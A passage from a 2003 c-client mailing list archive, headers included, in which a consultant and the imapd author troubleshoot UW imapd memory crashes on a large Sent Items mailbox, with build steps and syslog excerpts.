ESMTP id h96H1Ia2032596 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 6 Oct 2003 10:01:18 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.100.200]) by mxout2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96H1Dhu007328; Mon, 6 Oct 2003 10:01:13 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96H1Dxj032737; Mon, 6 Oct 2003 10:01:13 -0700 Message-Id: Date: Mon, 6 Oct 2003 10:01:13 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: <200310061730.KAA29230@sheridan.sibble.net> References: <200310061650.JAA28566@sheridan.sibble.net> <200310061730.KAA29230@sheridan.sibble.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 6 Oct 2003, Harondel J. Sibble wrote: > # mailutil copy -verbose sentold "#driver.mbx/sentnew" > Can't open mailbox sentold: no such mailbox > > # ls -la sentold > -rw------- 1 username groupname 108783116 Oct 6 09:39 sentold mailutil does not operate on the connected directory; it operates on the mail home directory (which, unless you've set it elsewhere, would be the user's UNIX home directory). Try specifying a fully-qualified path, or at least a path from the home directory. If you are running this as root, try becoming the target user instead. Strange things happen when you run these tools as root. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Oct 6 11:17:46 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Oct 2003 11:17:46 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96IHjMZ013544 for ; Mon, 6 Oct 2003 11:17:45 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96IHe0K023728 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 6 Oct 2003 11:17:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h96IHYVi013812; Mon, 6 Oct 2003 11:17:34 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96IG7JH038128 for ; Mon, 6 Oct 2003 11:16:07 -0700 Received: from sheridan.sibble.net (officegate.sibble.net [64.180.126.175]) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96IG5Q1005901 for ; Mon, 6 Oct 2003 11:16:06 -0700 Received: from gkar (gkar.sibble.net [192.168.73.4]) by sheridan.sibble.net (8.9.3p2/8.9.3) with ESMTP id LAA29652; Mon, 6 Oct 2003 11:48:40 -0700 Message-Id: <200310061848.LAA29652@sheridan.sibble.net> Date: Mon, 06 Oct 2003 11:15:58 -0700 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin , c-client@u.washington.edu Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: References: <200310061730.KAA29230@sheridan.sibble.net> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Uwash-Spam: Gauge=III, Probability=3%, Report='EMAIL_ATTRIBUTION, HOT_NASTY, IN_REP_TO, PORN_4, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 6 Oct 2003 at 10:01, Mark Crispin wrote: > mailutil does not operate on the connected directory; it operates on the > mail home directory (which, unless you've set it elsewhere, would be the > user's UNIX home directory). Try specifying a fully-qualified path, or at > If you are running this as root, try becoming the target user instead. > Strange things happen when you run these tools as root. That worked fine and I made a copy of the Sent Items into mbx format while running mailutil as the user. Now.. the memory crash still happens with latest version of imapd. Here are the steps I took and how to recreate problem. downloaded: ftp://ftp.cac.washington.edu/mail/imap.tar.Z as root -extracted: tar xvzf imap.tar.Z -cd imap-2002e/ -read the README file and looked at unix build instructions on the website -make lnp SSLTYPE=none -cd imapd/ -backup current imapd: mv /usr/sbin/imapd /usr/sbin/imapd.bak-oct06-03-1008 -cp imapd /usr/sbin/imapd Now I startup outlook express on the clients machine (actually ssh tunneled connection to my machine, however errors are the same regardless) I tell OE synchronize folders, it downloads approx 900 messages to the sent items folder. I highlight say 5 or 10 messages in sent items and drag them to a local (move rather than copy) so I have backups of messages I am working with. Server shows following Oct 6 10:45:39 server1 imapd[2199]: imap service init from 192.168.xxx.xxx Oct 6 10:45:39 server1 imapd[2199]: Login user=username host=localhost [192.168.xxx.xxx] Oct 6 10:47:34 server1 imapd[2204]: imap service init from 192.168.xxx.xxx Oct 6 10:47:34 server1 imapd[2204]: Login user=username host=localhost [192.168.xxx.xxx] Oct 6 10:48:05 server1 imapd[2204]: Command stream end of file, while reading line user=username host=localhost [192.168.xxx.xxx] also sometimes see Oct 6 10:53:43 server1 imapd[2220]: Killed (lost mailbox lock) user=username host=localhost [192.168.xxx.xxx] Oct 6 10:53:45 server1 imapd[2220]: Broken pipe, while reading line user=username host=localhost [192.168.xxx.xxx] OE reports loss of mailbox lock The messages are now all marked with a line through them and a red X, so I then click edit/purge deleted messages and see following at mail server side: Oct 6 10:55:16 server1 imapd[2222]: Fatal error user=username host=localhost [192.168.xxx.xxx] mbx=/home/username/Sent Items: Can't resize memory Oct 6 10:55:16 server1 imapd[2222]: IMAP toolkit crash: Can't resize memory OE reports Your server has unexpecteldy terminated the connection. Possible causes for this include server problems, network problems or a long period of inactivity, Details shows: The server did not respond to this IMAP command before the connection was terminated. Clicking okay results in message: Your IMAP server wishes to alert you to the following: IMAP4rev1 server crashing: Can't resize memory. Next I'll try using the mbx converted version of the Sent Items folder and see what happens. Will report under another email. Running top shows 10:43am up 2:46, 2 users, load average: 0.20, 0.30, 0.33 46 processes: 43 sleeping, 3 running, 0 zombie, 0 stopped CPU states: 3.5% user, 2.3% system, 0.0% nice, 94.0% idle Mem: 63080K av, 61616K used, 1464K free, 19684K shrd, 15552K buff Swap: 0K av, 0K used, 0K free 24504K cached and the line for the user 2181 username 9 0 956 956 784 S 0 0.1 1.5 0:00 imapd -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Mon Oct 6 11:52:04 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Oct 2003 11:52:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96Iq3MZ015393 for ; Mon, 6 Oct 2003 11:52:03 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96Iq10K025161 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 6 Oct 2003 11:52:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h96IpshA077032; Mon, 6 Oct 2003 11:51:55 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96IofJH050274 for ; Mon, 6 Oct 2003 11:50:41 -0700 Received: from sheridan.sibble.net (officegate.sibble.net [64.180.126.175]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96Iodjg007862 for ; Mon, 6 Oct 2003 11:50:40 -0700 Received: from gkar (gkar.sibble.net [192.168.73.4]) by sheridan.sibble.net (8.9.3p2/8.9.3) with ESMTP id MAA29850; Mon, 6 Oct 2003 12:23:20 -0700 Message-Id: <200310061923.MAA29850@sheridan.sibble.net> Date: Mon, 06 Oct 2003 11:50:38 -0700 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: mark Crispin Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: <200310061848.LAA29652@sheridan.sibble.net> References: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='EMAIL_ATTRIBUTION, HOT_NASTY, IN_REP_TO, PORN_4, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 6 Oct 2003 at 11:15, Harondel J. Sibble wrote: > Next I'll try using the mbx converted version of the Sent Items folder and see > what happens. Will report under another email. I select messages, move them to local folder, select edit/purge ... Oct 6 11:35:52 server1 imapd[2415]: imap service init from 192.168.xxx.xxx Oct 6 11:35:53 server1 imapd[2415]: Login user=username host=localhost [192.168.xxx.xxx] Oct 6 11:36:09 server1 imapd[2416]: imap service init from 192.168.xxx.xxx Oct 6 11:36:09 server1 imapd[2416]: Login user=username host=localhost [192.168.xxx.xxx] Oct 6 11:36:11 server1 imapd[2416]: Command stream end of file, while reading line user=username host=localhost [192.168.xxx.xxx] And lo and behold, it appears to purge the messages fine. The user in question is currently in a meeting, once she gets out, I'll have her try the same thing and report back, meanwhile, I can finally have some breakfast ;-) -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Mon Oct 6 12:38:54 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Oct 2003 12:38:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96JcsMZ017872 for ; Mon, 6 Oct 2003 12:38:54 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96JcqY8032558 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 6 Oct 2003 12:38:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h96JcjhA055892; Mon, 6 Oct 2003 12:38:45 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96JZoJH072516 for ; Mon, 6 Oct 2003 12:35:50 -0700 Received: from sheridan.sibble.net (officegate.sibble.net [64.180.126.175]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96JZnr7010694 for ; Mon, 6 Oct 2003 12:35:49 -0700 Received: from gkar (gkar.sibble.net [192.168.73.4]) by sheridan.sibble.net (8.9.3p2/8.9.3) with ESMTP id NAA30114; Mon, 6 Oct 2003 13:08:28 -0700 Message-Id: <200310062008.NAA30114@sheridan.sibble.net> Date: Mon, 06 Oct 2003 12:35:44 -0700 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: mark Crispin Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: <200310061923.MAA29850@sheridan.sibble.net> References: <200310061848.LAA29652@sheridan.sibble.net> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Uwash-Spam: Gauge=III, Probability=3%, Report='EMAIL_ATTRIBUTION, HOT_NASTY, IN_REP_TO, PORN_4, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 6 Oct 2003 at 11:50, Harondel J. Sibble wrote: > And lo and behold, it appears to purge the messages fine. The user in > question is currently in a meeting, once she gets out, I'll have her try the > same thing and report back, meanwhile, I can finally have some breakfast ;-) Nope, must have been a lucky break, it still crashes with memory errors when accessing the Sent Items folder from the users' end. Trying to synchronize the imap folder also does the same thing after downloading a few messages. Oct 6 12:22:16 server1 imapd[2739]: Logout user=username host=computer1 [192.168.xxx.xxx] Oct 6 12:22:16 server1 imapd[2740]: imap service init from 192.168.xxx.xxx Oct 6 12:22:16 server1 imapd[2740]: Login user=username host=computer1 [192.168.xxx.xxx] Oct 6 12:22:21 server1 imapd[2740]: Fatal error user=username host=computer1 [192.168.xxx.xxx] mbx=/home/username/Sent Items: Out of memory Oct 6 12:22:21 server1 imapd[2740]: IMAP toolkit crash: Out of memory Oct 6 12:22:21 server1 imapd[2741]: imap service init from 192.168.xxx.xxx Oct 6 12:22:21 server1 imapd[2741]: Login user=username host=computer1 [192.168.xxx.xxx] Oct 6 12:22:29 server1 imapd[2741]: Fatal error user=username host=computer1 [192.168.xxx.xxx] mbx=/home/username/Sent Items: Out of memory Oct 6 12:22:29 server1 imapd[2741]: IMAP toolkit crash: Out of memory Oct 6 12:24:30 server1 imapd[2743]: imap service init from 192.168.xxx.xxx Oct 6 12:24:31 server1 imapd[2743]: Login user=username host=computer1 [192.168.xxx.xxx] -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Mon Oct 6 12:44:45 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Oct 2003 12:44:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96JiiMZ018221 for ; Mon, 6 Oct 2003 12:44:44 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96JigY8032760 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 6 Oct 2003 12:44:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h96JibpM014878; Mon, 6 Oct 2003 12:44:37 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96JiFJH007604 for ; Mon, 6 Oct 2003 12:44:15 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96JiEDl028763 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 6 Oct 2003 12:44:14 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96JiDmw011544; Mon, 6 Oct 2003 12:44:13 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96JiDSS012879 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 6 Oct 2003 12:44:13 -0700 Message-Id: Date: Mon, 6 Oct 2003 12:44:14 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: <200310062008.NAA30114@sheridan.sibble.net> References: <200310061848.LAA29652@sheridan.sibble.net> <200310062008.NAA30114@sheridan.sibble.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 6 Oct 2003, Harondel J. Sibble wrote: > Nope, must have been a lucky break, it still crashes with memory errors when > accessing the Sent Items folder from the users' end. This is with an mbx-format "Sent Items" mailbox, and is *after* you purged it? So it is empty? Can you provide me with access to your system? Something very strange is going on. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Oct 6 13:19:17 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Oct 2003 13:19:17 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KJHMZ020139 for ; Mon, 6 Oct 2003 13:19:17 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KJEY8001576 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 6 Oct 2003 13:19:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h96KJ8Vi101780; Mon, 6 Oct 2003 13:19:08 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KIRJH019342 for ; Mon, 6 Oct 2003 13:18:28 -0700 Received: from sheridan.sibble.net (officegate.sibble.net [64.180.126.175]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KIQVY028675 for ; Mon, 6 Oct 2003 13:18:26 -0700 Received: from gkar (gkar.sibble.net [192.168.73.4]) by sheridan.sibble.net (8.9.3p2/8.9.3) with ESMTP id NAA30551; Mon, 6 Oct 2003 13:51:06 -0700 Message-Id: <200310062051.NAA30551@sheridan.sibble.net> Date: Mon, 06 Oct 2003 13:18:24 -0700 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin , c-client@u.washington.edu Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: References: <200310062008.NAA30114@sheridan.sibble.net> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 6 Oct 2003 at 12:44, Mark Crispin wrote: > This is with an mbx-format "Sent Items" mailbox, and is *after* you purged it? > So it is empty? Yes, converted from mbox to mbx, no it's not empty, there are approx 930 messages in the file, attempting to purge any of them results in the memory errors. > Can you provide me with access to your system? Something very strange is > going on. It's actually a client's machine and they aren't comfortable about someone they don't know being in the machine. -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Mon Oct 6 13:27:06 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Oct 2003 13:27:06 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KR6MZ020506 for ; Mon, 6 Oct 2003 13:27:06 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KR00K028692 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 6 Oct 2003 13:27:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h96KQuVi040780; Mon, 6 Oct 2003 13:26:56 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KQKJH020724 for ; Mon, 6 Oct 2003 13:26:20 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KQJhe025517 for ; Mon, 6 Oct 2003 13:26:19 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KQIMk000539; Mon, 6 Oct 2003 13:26:18 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KQIx0029649 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 6 Oct 2003 13:26:18 -0700 Message-Id: Date: Mon, 6 Oct 2003 13:26:19 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: <200310062051.NAA30551@sheridan.sibble.net> References: <200310062008.NAA30114@sheridan.sibble.net> <200310062051.NAA30551@sheridan.sibble.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 6 Oct 2003, Harondel J. Sibble wrote: > Yes, converted from mbox to mbx, no it's not empty, there are approx 930 > messages in the file, attempting to purge any of them results in the memory > errors. There are no calls to fs_resize() in the mbx driver expunge. Something else is going on. I would like to know what that is. > > Can you provide me with access to your system? Something very strange is > > going on. > It's actually a client's machine and they aren't comfortable about someone > they don't know being in the machine. Well, you can tell your client that this "someone they don't know" is the author of the imapd software that your client is giving root-level access. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Oct 6 13:40:23 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Oct 2003 13:40:23 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KeNMZ021167 for ; Mon, 6 Oct 2003 13:40:23 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KeKY8002431 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 6 Oct 2003 13:40:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h96KeFpM009932; Mon, 6 Oct 2003 13:40:15 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KdQJH010594 for ; Mon, 6 Oct 2003 13:39:26 -0700 Received: from sheridan.sibble.net (officegate.sibble.net [64.180.126.175]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h96KdPjg016000 for ; Mon, 6 Oct 2003 13:39:25 -0700 Received: from gkar (gkar.sibble.net [192.168.73.4]) by sheridan.sibble.net (8.9.3p2/8.9.3) with ESMTP id OAA30674; Mon, 6 Oct 2003 14:12:05 -0700 Message-Id: <200310062112.OAA30674@sheridan.sibble.net> Date: Mon, 06 Oct 2003 13:39:23 -0700 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: References: <200310062051.NAA30551@sheridan.sibble.net> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Uwash-Spam: Gauge=I, Probability=1%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 6 Oct 2003 at 13:26, Mark Crispin wrote: > There are no calls to fs_resize() in the mbx driver expunge. Something > else is going on. I would like to know what that is. Heh, me too. Something else is going on indeed, just called the client back and it's working fine now, while 1 hour ago it wasn't and the hour before that it worked fine for me. Actually that concerns me more than it not working at all. > Well, you can tell your client that this "someone they don't know" is the > author of the imapd software that your client is giving root-level access. I've explained that to them, we are going to leave it and see if it continues to work okay. If not, then I'll contact you about remote access. In that case can you send me a pgp signed/encrypted email with phone contact info? That way I can pass you login info directly. -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Thu Oct 9 01:09:29 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Oct 2003 01:09:29 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu 